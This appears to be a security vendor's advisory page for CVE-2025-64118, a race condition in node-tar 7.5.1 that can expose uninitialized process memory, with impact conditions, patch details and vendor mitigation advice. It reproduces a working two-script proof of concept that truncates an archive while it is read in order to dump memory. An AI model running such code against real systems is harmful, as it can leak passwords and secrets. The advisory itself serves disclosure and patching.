CVE-2025-64118 — tar
Fix: isaacs/node-tar@5330eb0CVE-2025-64118 is a CWE-362 vulnerability in tar. A fix is available for tar — see the affected versions and patch details below.
node-tar vulnerable to race condition leading to uninitialized memory exposure
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-64118.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
tarnpmDescription
Summary
Using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read.
Details
See:
- https://github.com/isaacs/node-tar/issues/445
- https://github.com/isaacs/node-tar/pull/446
- Regression happened in https://github.com/isaacs/node-tar/commit/5330eb04bc43014f216e5c271b40d5c00d45224d
PoC
A:
import * as tar from 'tar'
import fs from 'node:fs'
fs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024))
// from readme
const filesAdded = []
tar.c(
{
sync: true,
file: 'tar.test.tmp.tar',
onWriteEntry(entry) {
// initially, it's uppercase and 0o644
console.log('adding', entry.path, entry.stat.mode.toString(8))
// make all the paths lowercase
entry.path = entry.path.toLowerCase()
// make the entry executable
entry.stat.mode = 0o755
// in the archive, it's lowercase and 0o755
filesAdded.push([entry.path, entry.stat.mode.toString(8)])
},
},
['./tar.test.tmp'],
)
const a = fs.readFileSync('tar.test.tmp.tar')
for (let i = 0; ; i++){
if (i % 10000 === 0) console.log(i)
fs.writeFileSync('tar.test.tmp.tar', a)
fs.truncateSync('tar.test.tmp.tar', 600)
}
B (vulnerable):
import * as tar from 'tar'
import * as fs from 'fs'
while (true) {
fs.readFileSync(import.meta.filename)
tar.t({
sync: true,
file: 'tar.test.tmp.tar',
onReadEntry: e => e.on('data', b => {
const a = b.filter(x => x)
if (a.length > 0) console.log(a.toString())
})
})
}
Run A and B in parallel on Node.js 22 or >=25.1.0
Dumps B memory (wait for some time to observe text data)
Impact
Exposes process memory and could result in e.g. unintentionally (aka attacker-controlled) attempting to process sensitive data rather than tar entry contents. Uninitialized memory can contain unrelated file contents, environment variables, passwords, etc.
To execute, an attacker must reduce the file size to boundary between a tar header and body block, in the time between when the tar archive file size is read via stat, and the time when the tar archive parser reaches the entry that is truncated. If the file is truncated at a different boundary, then the uninitialized data will very likely not be a valid tar entry, causing the parser to treat the entry as a damaged archive (that is, throwing an error in strict: true mode, or by default, skipping the entry harmlessly).
This is conditional on using the sync: true option to the tar.list/tar.t method, and the 7.5.1 version specifically. Earlier versions were not affected.
This is also conditional to attacker being able to truncate (or induce a truncation/replacement) of a file on disk (e.g. in cache).
If the tar file is initially larger than the opt.maxReadSize (16kb by default), then uninitialized memory is not exposed to user code, and instead the program enters an infinite loop, causing a DoS rather than an information disclosure vulnerability.
By default, tar.list does not process tar archive entry body content. So, this is further conditional on the user code doing something with the tar entry file contents in an onReadEntry method which would expose the file contents (for example, attempting to parse them in such a way that the uninitialized data could appear in an error message).
Other methods in this library (tar.extract, etc.) are not affected by this vulnerability.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | tar | ≥ 7.5.1&&< 7.5.2 | 7.5.2npm install tar@7.5.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tar, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update tar to 7.5.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-64118 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-64118 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-64118. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-64118 in your dependencies?
O3 Security finds CVE-2025-64118 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.